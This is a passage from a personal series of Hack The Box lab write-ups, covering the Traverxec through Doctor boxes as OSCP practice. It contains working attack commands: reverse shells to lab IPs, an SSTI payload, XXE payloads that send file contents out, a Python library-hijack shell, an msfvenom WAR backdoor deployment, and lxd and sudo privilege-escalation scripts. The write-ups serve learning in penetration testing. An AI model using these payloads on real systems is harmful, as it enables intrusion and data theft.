(e){}};p.destroy();s.close(); There really was a jjs privilege-escalation technique. Modify the payload:\n1 echo \u0026#34;Java.type(\u0026#39;java.lang.Runtime\u0026#39;).getRuntime().exec(\u0026#39;/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p \u0026lt;$(tty) \u0026gt;$(tty) 2\u0026gt;$(tty)\u0026#39;).waitFor()\u0026#34; | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs Just run it.\nDone. This box held me up for a long time, mainly because my script was extremely slow. Network speed may have made the brute-forcing slow, or the script may simply have been poorly written. Either way, that part took me ages. This was also apparently my second encounter with NoSQL injection; I hadn\u0026rsquo;t paid much attention the first time.\nThe final point was this Java technique. I didn\u0026rsquo;t know about jjs at first and only then learned it could invoke Java code, so I kept trying to construct something myself. The history did contain some examples. Although its script looked fine, reality showed that the shell simply wouldn\u0026rsquo;t connect back.\nI asked GPT, and there really was a problem with it.\n20.Traverxec Information gathering:\nAccessing this machine was extremely laggy. I don\u0026rsquo;t know whether the cause was my computer or the target.\nI\u0026rsquo;ll jump straight to the result.\nThere was nothing on port 22.\nWhatWeb found a fingerprint on port 80, and searching for it led directly to an exploit.\nRunning it gave a shell immediately.\nTime for privilege escalation.\nLinEnum helped us find a hash. CMD5 required payment, so I cracked it myself.\ndavid/Nowonly4me\nI tried connecting over SSH, but couldn\u0026rsquo;t log in at all. Even su failed.\nI even searched for whether there were other forms of su.\nI began researching the website and found that it seemed to be running as root.\nBut it was only a purely front-end page, so there was nothing I could do.\nThat wasn\u0026rsquo;t actually how it worked. It granted execute permission, but only root could modify the file. Execution still happened as the current user.\nBy this point, I had tried every conventional technique I could think of. The solution was probably unconventional.\nThe unconventional paths I had identified were as follows:\nDavid\u0026rsquo;s home directory couldn\u0026rsquo;t be listed, but files in it could be executed. If we could identify any privilege-escalation files in David\u0026rsquo;s home directory, knowing their names would be enough.\nThere was another lead. I found a configuration file under the directory containing the password file, and that password-file directory was itself the website directory.\nWe had already checked the first item, and I had mapped the IP in hosts.\nThe second mentioned the user. That was fine; the process was indeed running as www-data.\nThe third only mentioned that the password was easy to crack and suggested credential reuse. It didn\u0026rsquo;t seem to offer much else.\nThe fourth mentioned a public public directory under home. We had actually found david and public_www under the home directory, but hadn\u0026rsquo;t located the latter.\nMost importantly, we could execute things under the david directory but couldn\u0026rsquo;t list it. Only David\u0026rsquo;s home directory itself was inaccessible; child directories and files beneath it could still be accessed, as shown below.\nSo there were currently two paths in front of us.\nThe first was to brute-force David\u0026rsquo;s home directory.\nThe second was to locate public_www.\nI searched for public_www for a long time without success, but later made an important discovery.\nIt was hidden under the david directory. Digging through it revealed a backup SSH key.\nTransfer it to Kali.\nThe password is shown below.\nLogin succeeded.\nI went through some files and found an interesting one.\nWhenever I tried privilege escalation with sudo, it required a password, so it was strange that this command didn\u0026rsquo;t.\nFurther testing showed that only the exact command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service\ncould be run with sudo without a password. Changing even one character or argument, or appending anything, failed. The only apparent option was concatenating with |, \u0026amp;, ;, and so on, but after concatenation the extra command obviously no longer ran with the original privileges.\nThe path was also hard-coded. If it hadn\u0026rsquo;t been, the file could have been replaced to escalate privileges.\nhttps://www.linuxcool.com/journalctl\nThis page explains the journalctl options: -n specifies the number of lines, while -u specifies the service.\nI couldn\u0026rsquo;t figure out how these two facts were related at all.\nI tried many methods afterward but never solved it. This time I read a write-up, which explained that journalctl was configured to output 5 lines. Once those lines were printed, there was no opportunity to enter a command. However, its output depends on the current window size, so all I needed to do was shrink the window.\nDone. This box really tested search skills. One part was finding the configuration file, which I never found through searching and ultimately had to guess.\nThe other was researching the journalctl options, which I did find. But the key was shrinking the current terminal window so it remained inside the pager interface. I didn\u0026rsquo;t find that step through searching. I\u0026rsquo;m not sure whether this is the kind of knowledge accumulated over time or another test of search skills.\n21.OpenAdmin Information gathering:\nGetting a foothold was easier than I expected.\nhttp://10.10.10.171/music/\nThis page lets you log in or create an account.\nClicking login redirects to http://10.10.10.171/ona/.\nThere is a download link at the top.\nThat revealed the framework and its version.\nReading it showed that a url was missing.\nJust add the url to the parameters.\n1 2 3 4 5 6 7 #!/bin/bash URL=\u0026#34;http://10.10.10.171/ona/\u0026#34; while true;do echo -n \u0026#34;$ \u0026#34;; read cmd curl --silent -d \u0026#34;xajax=window_submit\u0026amp;xajaxr=1574117726710\u0026amp;xajaxargs[]=tooltips\u0026amp;xajaxargs[]=ip%3D%3E;echo \\\u0026#34;BEGIN\\\u0026#34;;${cmd};echo \\\u0026#34;END\\\u0026#34;\u0026amp;xajaxargs[]=ping\u0026#34; \u0026#34;${URL}\u0026#34; | sed -n -e \u0026#39;/BEGIN/,/END/ p\u0026#39; | tail -n +2 | head -n -1 done It then sends requests in an infinite loop, with each request containing the command you want to execute. It is essentially an interactive shell.\nHere I chose to get a reverse shell.\nI tried a bunch of things and am not sure which one worked, but the shell came back. As I understood it, the main point of this step was that a reverse shell could give me a tty.\nThe reverse shell could not create a tty either, which was strange.\nMaybe I used the wrong method. I left it alone for the moment and checked the configuration files first.\nI did not find anything, but one detail was very strange.\nThis was the current directory. Its parent was not the default index.html page I had seen, but the framework\u0026rsquo;s configuration directory. www happened to be its web root, which meant that:\nIts apache configuration had to contain indexes for ona and artwork. I first tried to find the apache configuration.\nHowever, find did not locate it.\nSo I searched for artwork instead. That found the directory, and everything became clear.\nThere was nothing that offered a privilege boundary bypass; everything belonged to www-data. There were several more directories containing applications, however, and two of them had .DS_Store files.\nhttps://github.com/gehaxelt/Python-dsstore\nParsing them did not reveal any special directories either. They were probably included with the project.\nI uploaded LinEnum, but it did not find anything special.\n/usr/bin/python3 -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo;\nIt did at least show me where python3 was, and I obtained a tty.\nI eventually ran out of leads, so I went back and reviewed the website several times. From its php files and related material, I was certain it connected to a database.\nI started digging through the directories and eventually reached /opt/ona/www/local/config.\nThere I found a password.\nn1nj4W4rri0R!\nThe path forward was becoming clear again. I first tried it against the users under home.\nIf that failed, local port 3306 was open—I had seen it while inspecting processes—so I could connect directly and look for other passwords.\nIn the end, I successfully logged in as jimmy.\nAs always, the first thing to check was sudo.\nI could not use it, so my second move was to go straight to the directory I had found earlier.\nI had not had permission to enter it before.\nmain.php showed that it directly ran cat /home/joanna/.ssh/id_rsa.\nBut when I tried it, I did not have permission.\nI found a password in index.php.\nIt still wanted payment.\nAlso, this password\u0026rsquo;s sha1 did not match that of n1nj4W4rri0R!.\nFound it.\nsu failed, so I kept reading the source to see what was happening.\nIt was simple: a successful login created a session and redirected to main.php.\nmain.php executed a command to read /home/joanna/.ssh/id_rsa.\nThere was no point in starting this php file or moving it into the web directory, because the command would run with jimmy\u0026rsquo;s privileges. Running it manually did nothing for me, and putting it in the web directory would not help either, as shown below.\nAll I knew at this point was that joanna had a private key.\nAfter working on this for a while, I seemed to have exhausted every idea. Then something occurred to me.\nThe current file was owned by jimmy, but that did not mean the service that launched it also ran as jimmy.\nIn pspy32 I had only seen many apache2 processes with their pids, but no users were shown, so I started checking.\nI had assumed that www-data with uid33 was the only user running apache2, but:\nroot had started one as well.\nThere was an unfamiliar port that nmap had not reported. It was most likely local-only.\nThat produced a result: something really was there. Even when using pspy32, I need to remember to investigate manually.\ncurl kept failing, so I set up a tunnel.\nssh -L 8888:localhost:52846 jimmy@10.10.10.171\nI got access, but then had an idea: if this site was running as root, would writing a shell into it not give me root privileges?\nMy understanding was wrong. The resulting account was still joanna.\nStill, I had finally escalated to another user.\nsudo -l -s still did not work. I did not know the password, but first I needed sudo to work at all, because I truly had no other ideas.\nThe login succeeded. Sure enough, after logging in I could run sudo -l.\nDone. This box broadened my thinking a little, although the overall process was still similar to the earlier ones. The main lesson was to observe carefully, and most of the work centered on privilege escalation. It took two hours. The only thing I could not understand was why a shell launched through something running as root landed as joanna.\nI started reading the write-up.\nFirst point:\ncurl can access main.php directly, but when I read the code it appeared to validate a session first, so that seemed impossible. The image below shows my test: accessing main redirected back to the home page, exactly as the source suggested.\nIt did not work through the web page, but surprisingly it did work locally.\nI had only used curl against index.php to send the login request. I missed this detail.\nSecond point:\nThis was the reason. The web service was launched under joanna\u0026rsquo;s identity, so even though root started it, its user identity remained joanna. The configuration file was under /etc/apache2/sites-enabled.\nThird point:\nThe first time through, I had not found jimmy\u0026rsquo;s password—the database password—because I had not inspected that file carefully enough.\nIt was visible in the process list, though. There was a scheduled task, which I only noticed later.\n22.Magic Information gathering:\nI\u0026rsquo;ll jump straight to the conclusion: getting a shell wasn\u0026rsquo;t too difficult.\nThe login endpoint was vulnerable to sql injection. Blind injection did not work for me, but I could still enter the admin panel.\nIt did not redirect automatically, so I thought I would have to inject manually.\nHowever, the Location header indicated a redirect to upload.php.\nThe session had already been written to the database, so visiting it directly did not produce a permissions error. I only needed to log in with a universal password.\nThe upload page used a whitelist, so I will again skip to the conclusion: I needed to bypass it. upload_labs includes a %20 truncation technique. I tried it and it worked, as follows.\nVisiting the uploaded file successfully returned a shell.\nI began privilege-escalation reconnaissance.\nThat explained why sleep had not worked.\nI had looked through nearly everything, including the Theseus user\u0026rsquo;s directory. The only remaining lead was a mysql service.\nThe database credentials I had obtained did not let me su to the target user; it reported an incorrect password.\nssh also said that only a private key could be used. I\u0026rsquo;ll jump straight to the result here.\nI had checked everything else except mysql, and mysql was not available directly on the target, so I had to forward the port.\nI used frp here.\nfrps -c frps.ini\n1 2 [common] bind_port = 7000 frpc -c frpc.ini\n1 2 3 4 5 6 7 8 9 [common] server_addr = 10.10.16.3 server_port = 7000 [mysql] type = tcp local_ip = 127.0.0.1 local_port = 3306 remote_port = 6000 Just start it up.\n1 mysql -u theseus -P 6000 -p -h localhost Magic The connection succeeded.\nI found a password.\nI successfully switched to theseus.\nI continued gathering information, but found nothing useful. I checked every suid binary.\nThen I found something interesting. My current user was also in the users group, which matched this exactly.\nI went through everything and only learned that this was specifically intended for the users group. I did not know how to use it.\nI eventually ran out of ideas and only learned from the write-up that this could be exploited. It was quite complicated for me.\nOnce I knew the entry point, I started working through it. The commands it invoked had no restrictions, and it executed both of them as root.\nIn other words, the first command found through the environment\u0026rsquo;s search path would be executed by root.\nThe search order above eventually reached /sbin, where fdisk lived, but none of the earlier directories were writable.\nI could still use export to set a temporary environment variable. After reading about it, I ran:\nexport PATH=/tmp:$PATH\nThis made it search the tmp directory first.\nI wrote the reverse-shell command into fdisk.\necho \u0026ldquo;bash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.3/6666 \u0026lt;\u0026amp;1\u0026rsquo;\u0026rdquo; /tmp/fdisk\nThe connection came back successfully. That was the end.\nThis unconventional privilege escalation was a little difficult. The box focused heavily on escalation, and I genuinely did not expect the path from theseus to root to be hidden here. Still, this is a standard oscp box, so I clearly need to broaden my thinking. There are many suid files, and the hints were the current user\u0026rsquo;s users group and the root-owned file with an s bit.\nThey matched perfectly. The hint was buried rather deeply. I had also never considered that a command might invoke system commands without absolute paths and instead rely on the environment\u0026rsquo;s search path. That was hidden very well.\n23.Admirer Information gathering:\nI will give the result directly. ftp did not allow anonymous login, but directory brute-forcing revealed the ftp password. After logging in over ftp, I found two files.\nExtracting them revealed an important file.\nhttp://10.10.10.187/utility-scripts/admin_tasks.php\nIts main behavior was to execute shell_exec(\u0026quot;/opt/scripts/admin_tasks.sh $task 2\u0026gt;\u0026amp;1\u0026quot;) when task was between 1-7.\nSo I only needed to submit a number and append a command after it, mainly by bypassing the 1-7 if condition.\nBut php weak typing could not bypass it at all.\nThere was simply no vulnerability at this point. I had brute-forced nearly every directory I found.\nIn the end I found no way forward, so I checked the next step in a write-up and discovered another file named adminer.php. Its name differed from the box name by only one character, but I had not found it. The write-up\u0026rsquo;s next step supposedly followed from a hint, yet I had not noticed any hint at all.\nI now had a new entry point: adminer.php.\nI tried connecting with the credentials I had obtained earlier, but it did not work at all. This held me up for a very long time. I never expected to get stuck here for so long. Eventually I had no other choice and glanced at a write-up.\nIts hint said that since there was no way to connect to this mysql instance, another approach was needed:\nhttps://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f\nThe idea was that CVE-2021-43008 reads files locally from Adminer\u0026rsquo;s host. We only needed to log in and connect it to a backend database; it did not matter whose database it was.\nThat gave me another entry point, and this time everything went smoothly.\nI started mysql on kali. These are the posts I used as references:\nhttps://www.cnblogs.com/dll102/p/16008382.html\nhttps://blog.csdn.net/lxyoucan/article/details/131282508\nAfter completing those steps, the remote server could connect. This was the most important part.\nThat let me get in. I then followed the post below to exploit the arbitrary file-read vulnerability.\nhttps://podalirius.net/en/cves/2021-43008/\nOne detail matters here: files such as /etc/passwd could not be read. I later guessed the /var/www/html directory and could read its contents, but utility-scripts/db_admin.php did not exist, so I could not extract database passwords or similar information. Eventually I discovered that /var/www/html/index.php still contained a password.\nThe connection had failed because the password was different.\nI actually tried many things at this stage, including reading passwd and waldo\u0026rsquo;s private key, but none helped. Only then did I find this.\nThe password worked for ssh, giving me a foothold. Once connected, I had a password, so my first command was sudo -l.\nThere was something useful. Here was my reasoning.\nI did not have permission to modify it.\nAll the parameters explicitly named their files, so changing environment variables could not bypass anything. Even /usr/bin/mysqldump lacked write permission.\nThat made backup.py very suspicious.\nI only had read permission.\nThe path was now fairly obvious: create a fake shutil.py file. The program would import shutil.py automatically when it started, and top-level code in that module would run as well, so I only needed to add a shell.\nThe plan was therefore to hijack a python library. There are two extremely common methods. The first is to place shutil.py beside backup.py, since it will prefer the library in the current directory.\nBut I did not have write permission there.\nThe second is to modify shutil.py in the installed library directly, but I did not have permission for that either.\nNeither worked. After searching google, I found two more approaches. One was to add an environment variable in the current terminal.\nexport PYTHONPATH=/tmp/ But that still did not work for me.\nThe second was to pass the environment variable through sudo.\necho \u0026lsquo;import socket,subprocess,os\\ndef make_archive(a,b,c):\\n\\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\\ts.connect((\u0026ldquo;10.10.16.21\u0026rdquo;,9999))\\n\\tos.dup2(s.fileno(),0)\\n\\tos.dup2(s.fileno(),1)\\n\\tos.dup2(s.fileno(),2)\\n\\timport pty\\n\\tpty.spawn(\u0026ldquo;sh\u0026rdquo;)\u0026rsquo; \u0026gt; shutil.py\nWriting the file this way did not preserve the escapes, so I transferred it from kali instead. Then I only needed to construct the final command.\nwget http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6\nThat was the end.\nIn my view, this box fits oscp very well. Precisely because it does, many parts were unusually complex.\nFirst, I never thought of looking for adminer.php. Second, I could not find anything about this Adminer behavior. The first tested my methodology, while the second tested my search skills—essentially my ability to choose effective Google search terms.\nThen came privilege escalation. That part was comparatively simple, but I wasted a lot of time on the python import behavior. The first three methods never worked. I finally learned that placing an environment variable after sudo passes it directly to the command following sudo. Simply running export PYTHONPATH=/home/waldo left the later command unable to see it. sudo -E might also have carried the variable across, but in practice it did not. I wasted a lot of time here too.\n24.Blunder Information gathering:\nI\u0026rsquo;ll jump straight to the result. The initial reconnaissance may have involved a port-knocking sequence to open a port, so I made a note of that and moved on. The website\u0026rsquo;s information revealed the framework.\nBLUDIT v3.9.2\nI could simply find an exp and run it. Searching kali for exploits matching this version only returned a user-brute-forcing script.\nThe username had been revealed as well.\nEverything pointed toward brute force: I had a username and a version number, and this user-brute-forcing script only applied to version 3.9.2 and earlier.\nI used cewl to crawl the home page and generate a wordlist.\nThen I just ran the script.\nI now had credentials, but kali did not include an rce script. I found a suitable script through google.\nIntroduction: https://www.anquanke.com/post/id/197105\nScript: https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py\nIt could be used directly, although it might need a small change to avoid a problem.\nThe main problem was here. The error message led me to the cause.\nThe URL must not end in /, or it errors out.\nI obtained a shell.\nI started privilege escalation by checking the configuration files.\nI found a pile of db.php files, but they contained nothing. I then reached user.php under databases, which held usernames and passwords.\nThe first password was salted. The account was admin, and john could brute-force it.\nBut the second one, from version 3.10, had a user named hugo.\nThere also happened to be a hugo home directory.\nhugo:Password120\tI could simply run su hugo.\nThat switched me directly to shaun.\nLinEnum provided an exploitation lead. I had actually noticed this while running as www-data: the user belonged to an unusually large number of groups, so it was worth looking for group-accessible programs that might be exploitable.\nHowever, there were no exploitable executables for those groups. I kept looking for a path forward but could not find one.\nI had found the version and tried exploiting vulnerabilities that affected it.\nEventually I found this: https://www.exploit-db.com/exploits/47502\nCoincidentally, its exploitation requirements exactly matched what sudo -l showed for hugo.\nRunning sudo -u#-1 /bin/bash successfully escalated privileges.\nThis box was relatively simple. I did not encounter any new services, programs, or similar components.\nIt was a conventional box where the main requirement was methodology. I can only keep refining that methodology: every program may have vulnerabilities and needs to be checked individually.\n25.Tabby Information gathering:\nThere was no udp service.\nI will give the conclusion directly.\nThere was an arbitrary file read. PHP wrappers did not seem to work, so I could not read the source of index.php or news.php.\nI found nothing else afterward. The web root was still /var/www/html/index.php.\nAt this point the path was obvious: find tomcat-users.xml and log in with it.\nI tried many directories without success and gathered many wordlists. Only at the end did I find this path.\nhttps://talk.openmrs.org/t/configuring-apache-tomcat-9/32379\nThis Q\u0026amp;A mentioned usr/share/tomcat9/etc/tomcat-users.xml.\nAfter collecting this information, I sent the request to Burp Suite and eventually got the result. One thing worth noting is that the XML will not render in the HTML page; you have to press F12 and inspect the source.\nview-source:http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml\n1 2 3 \u0026lt;role rolename=\u0026#34;admin-gui\u0026#34;/\u0026gt; \u0026lt;role rolename=\u0026#34;manager-script\u0026#34;/\u0026gt; \u0026lt;user username=\u0026#34;tomcat\u0026#34; password=\u0026#34;$3cureP4s5w0rd123!\u0026#34; roles=\u0026#34;admin-gui,manager-script\u0026#34;/\u0026gt; I could not log in to manage, only to http://megahosting.htb:8080/host-manager/html.\nhttps://cloud.tencent.com/developer/article/1578239 https://blog.csdn.net/weixin_41924764/article/details/108196725 These two posts were excellent and addressed this exact situation.\nHowever, I tried a great many times and consulted several posts. It appeared that I had to define my domain on this site before I could use it; otherwise it would not work. I had to find another method. Searching by the role name led me to two tutorials.\nI searched google for Apache Tomcat manager-script exploit.\nhttps://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c\nhttps://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00\nBoth described the same vulnerability. I had assumed the war file could be built in the same way as one uploaded through the tomcat manager page, so I kept trying my own packages. Both tutorials instead used msfvenom to generate a war backdoor. Generally, oscp allows msf once, but the msfvenon used to generate a backdoor is not limited because it only generates the backdoor; only msfconsole is limited to one use.\nThe files I built myself never worked.\n1 2 3 4 msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war curl -v -u \u0026#39;tomcat:$3cureP4s5w0rd123!\u0026#39; --upload-file pwn.war \u0026#34;http://megahosting.htb:8080/manager/text/deploy?path=/foo\u0026amp;update=true\u0026#34; curl http://megahosting.htb:8080/foo nc -lvnp 9999 That immediately returned a shell.\nI prepared for privilege escalation.\nsudo -l, s, and suid all revealed nothing.\nMy first step was to inspect the www directory. new.php only provided arbitrary file read, not file inclusion.\nBut the file directory was owned by ash.\nI transferred it to kali with nc and extracted it.\nIt required a password. The recovered password was admin@it.\nI spent a long time examining the extracted files afterward, but found nothing. The only possible angle, as I understood it, was that the fgets function might allow file inclusion, but that was actually impossible.\nI later wondered whether it might be ash\u0026rsquo;s password. I tried su, and it really was.\nI continued with privilege escalation. I tried many things; sudo was unavailable, and pspy32 showed this:\nThat was not useful either. Then I wondered whether the site on port 80 ran as root. If I wrote a php file into the files directory owned by ash,\ncould I escalate directly to root? In practice, files was not writable. Even chmod +w failed; its permissions were locked to read-only.\nI also checked the sudo version.\nFor each of these groups, I used find to look for executables or other files belonging to the group.\nThere were none. Finally, I uploaded LinEnum.\nIt mentioned this. I did not know what lxd was, so I searched for it.\nI found many exploits. The posts explained that membership in the lxd or lxc group could be used to become root.\nkali also had a payload for it.\nI tried following this payload, but it kept failing. Eventually, the first article in my google results solved it.\nhttps://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation\nAfter uploading it, execution kept failing. First I had to edit the exp because it did not define paths for lxc and lxd.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #!/usr/bin/env bash # ---------------------------------- # Authors: Marcelo Vazquez (S4vitar) #\tVictor Lasa (vowkin) # ---------------------------------- # Step 1: Download build-alpine =\u0026gt; wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine] # Step 2: Build alpine =\u0026gt; bash build-alpine (as root user) [Attacker Machine] # Step 3: Run this script and you will get root [Victim Machine] # Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine function helpPanel(){ echo -e \u0026#34;\\nUsage:\u0026#34; echo -e \u0026#34;\\t[-f] Filename (.tar.gz alpine file)\u0026#34; echo -e \u0026#34;\\t[-h] Show this help panel\\n\u0026#34; exit 1 } function createContainer(){ /snap/bin/lxc image import $filename --alias alpine \u0026amp;\u0026amp; /snap/bin/lxd init --auto echo -e \u0026#34;[*] Listing images...\\n\u0026#34; \u0026amp;\u0026amp; /snap/bin/lxc image list /snap/bin/lxc init alpine privesc -c security.privileged=true /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true /snap/bin/lxc start privesc /snap/bin/lxc exec privesc sh cleanup } function cleanup(){ echo -en \u0026#34;\\n[*] Removing container...\u0026#34; /snap/bin/lxc stop privesc \u0026amp;\u0026amp; /snap/bin/lxc delete privesc \u0026amp;\u0026amp; /snap/bin/lxc image delete alpine echo \u0026#34; [√]\u0026#34; } set -o nounset set -o errexit declare -i parameter_enable=0; while getopts \u0026#34;:f:h:\u0026#34; arg; do case $arg in f) filename=$OPTARG \u0026amp;\u0026amp; let parameter_enable+=1;; h) helpPanel;; esac done if [ $parameter_enable -ne 1 ]; then helpPanel else createContainer fi I then followed the tutorial above to generate alpine-v3.8-i686-20241027_1315.tar.gz.\nNext I transferred both files to the target and ran:\n./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz\nThat successfully escalated privileges. I was stuck here for a very long time.\nHalf the problem was that generating alpine-v3.13-x86_64-20210218_0139.tar.gz kept failing.\nThe other half was that even after the privilege escalation succeeded, commands such as cat failed and the session crashed immediately. There was nothing I could do except keep resetting the machine and repeating every command to reach this point.\nThe 46978.sh file itself was easy to fix: it simply could not locate lxc and lxd, so I added their absolute paths.\nI only later realized that my procedure was wrong. As 46978.sh explained, I only needed to enter /mnt/root to access every file.\nDone.\nThis still counted as conventional privilege escalation. I had not seen tomcat\u0026rsquo;s manager-host before, nor had I used lxd, but neither technique was unexpected. Usually you find an exp, understand it, and run it.\nUsing it for the first time simply wasted a great deal of time. I need to improve my search skills and read payloads more carefully.\n26.Doctor Information gathering:\nThe web page revealed a domain, which I added to hosts.\nVisiting the domain again produced this page.\nRegistering an account gave me direct access.\nBoth the source and the directory brute-forcing tool pointed to /archive.\nAt first, however, it was empty.\nInterestingly, new message could be used to create a blog post.\nhttp://doctors.htb/post/1\nThis showed what the 1 represented. The endpoint did not have sql injection or anything similar.\nAfter I created a new message,\nhttp://doctors.htb/archive\nshowed the item I had created. I made a major mistake here: I assumed it was XXE and spent a long time testing it. There was no response content. The following methods consistently failed, although the server did make the requests.\n1 2 3 4 5 6 7 8 9 10 \u0026lt;/title\u0026gt;\u0026lt;/item\u0026gt;\u0026lt;!--?xml version=\u0026#34;1.0\u0026#34; ?--\u0026gt; \u0026lt;!DOCTYPE foo [\u0026lt;!ENTITY example SYSTEM \u0026#34;/etc/passwd\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;data\u0026gt;\u0026amp;example;\u0026lt;/data\u0026gt;\u0026lt;item\u0026gt;\u0026lt;title\u0026gt; \u0026lt;/title\u0026gt;\u0026lt;/item\u0026gt;\u0026lt;!--?xml version=\u0026#34;1.0\u0026#34; ?--\u0026gt; \u0026lt;!ENTITY % file SYSTEM \u0026#34;file:///etc/hostname\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; exfiltrate SYSTEM \u0026#39;http://10.10.16.19:5000/evil.dtd?x=%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; %eval; %exfiltrate; \u0026lt;item\u0026gt;\u0026lt;title\u0026gt; It simply seemed unable to read files.\nBut it could make requests.\nThis was a wrong turn. I tried a great many payloads without success. After a lot of searching, I noticed that nearly every result covered XXE in php or java, with nothing about exploiting this issue in python.\nI had actually run whatweb when I first encountered the site.\nIt did not seem to reveal anything.\nLater searches showed that when python is used as the backend with flask, it may be vulnerable to ssti template injection. It suddenly clicked that a python backend could indeed have this vulnerability.\nI first tested whether it was present.\nAfter creating the item, I visited:\nview-source:http://doctors.htb/archive\nIt worked, so I prepared an exp.\nhttps://payatu.com/blog/server-side-template-injectionssti/\nThe exp in this post worked. I only needed to construct the payload and submit it.\n1 {{request.application.__globals__.__builtins__.__import__(\u0026#39;os\u0026#39;).popen(\u0026#34;bash -c \u0026#39;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.19/6666 \u0026lt;\u0026amp;1\u0026#39;\u0026#34;).read()}} I obtained a shell.\nI started privilege escalation.\nThe admin user was immediately visible.\nI had not created this user. sudo -l required a password, so my current plan was to crack this and then inspect sudo -l.\n$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S\nI identified the algorithm as bcrypt and could run it through john.\nIn practice, finishing this run did not help. It could not crack the hash at all, and bcrypt was extremely resource-intensive and slow.\nThis route was a dead end, so I tried other escalation paths.\nNeither suid nor sudo revealed anything. There was another user named shaun under home.\nThen I noticed one more user whose home directory was /opt/splunkforwarder. It contained a readme and a version number.\nA google search showed that this program listens on port 8089. nmap had found that port earlier, but my testing had produced nothing, so I ignored it. Perhaps the intended hint was to escalate into splunk.\nI found no exp for this version, but the site below said that simply logging in appeared sufficient to get a shell.\nhttps://book.hacktricks.xyz/network-services-pentesting/8089-splunkd\nI started looking for configuration files.\nhttps://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862\nI could not read it. I kept investigating this service but found no way to compromise it, and it ran as root.\nI uploaded linenum for another look, but it found nothing.\nThen I inspected my groups and discovered that I could read many logs.\nfind / -group adm 2\u0026gt;/dev/null -not -path \u0026ldquo;/proc/*\u0026rdquo; 2\u0026gt;/dev/null\nI had an idea. Someone had to log in to either the port 80 site or the port 8089 service. If I could not access the 8089 service because I lacked its path and credentials, searching all configuration files might reveal passwords for the sites on 80 and 8089 and let me proceed.\nI did not find anything for 8089, but I did find a password.\n/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] \u0026ldquo;POST /reset_password?email=Guitar123\u0026rdquo; 500 453 \u0026ldquo;http://doctor.htb/reset_password\u0026rdquo;\nI started trying Guitar123 with su.\nThat successfully escalated me to shaun.\nEverything pointed to splunkd on port 8089.\nMy first thought was to create a local tunnel, but I could not access it locally either.\nIt listened on 0.0.0.0, so this was not a local-only service. Yet I still could not access it locally.\nOnly later did I realize that I had been using http the entire time.\nI accessed it successfully.\nOnly services and serviceNS were accessible, and they required a username and password. We happened to have shaun\u0026rsquo;s credentials.\nAlthough we could not read this service\u0026rsquo;s passwd file or list its users, my earlier searches suggested that splunkd may use local /etc/passwd accounts to create users for login.\nI got in successfully.\nThere are many tutorials on getting a shell online, and they also mention that this app often runs as root.\nBut every tutorial used a graphical interface to upload apps, then used the uploaded content to get a shell.\nThere was no graphical interface here for me to click through, so I had to find an absolute path. One post said that extracting an app locally had the same effect as uploading it through the GUI.\nI did not have write permission, however. My current options were to find the app-upload endpoint or continue escalating locally into splunk.\nNeither worked, so I started looking for a poc.\nhttps://github.com/cnotin/SplunkWhisperer2\nWhenever I find an exp but do not know how to use it, I search for the project name to understand how it works.\nhttps://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/\nThat explanation was not useful, so I constructed the poc from the parameters in the code.\nhttps://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py\nI used the local privilege-escalation script and tested it first.\npython3 2.py \u0026ndash;scheme https \u0026ndash;port 8089 \u0026ndash;username shaun \u0026ndash;password Guitar123 \u0026ndash;payload \u0026lsquo;id \u0026gt; /tmp/1.txt\u0026rsquo;\nIt really worked: the created file genuinely belonged to root.\nMy later attempts with su and other commands had problems. Looking at the code, it appeared unable to remain running in the current context, so I tried a reverse shell.\npython3 2.py \u0026ndash;scheme https \u0026ndash;port 8089 \u0026ndash;username shaun \u0026ndash;password Guitar123 \u0026ndash;payload \u0026ldquo;bash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.19/1234 \u0026lt;\u0026amp;1\u0026rsquo;\u0026rdquo;\nDone. I spent a great deal of time on this box. I took the wrong approach to the foothold and investigated XXE before finally recognizing SSTI. The web-based escalation to shaun was not difficult, but I lacked the idea at first and wasted a lot of time, including trying to crack the hash from the db. Only at the end did I inspect the adm group. I think the overall process was sound; it was simply far too slow.\nEscalating to root was next. I studied this service and read many posts before finding the exploit. The exploitation itself was easy, but reading all that code felt time-consuming. It did work in the end, so this was still a conventional process. I was simply too slow, and perhaps I also need to improve how I search google. The 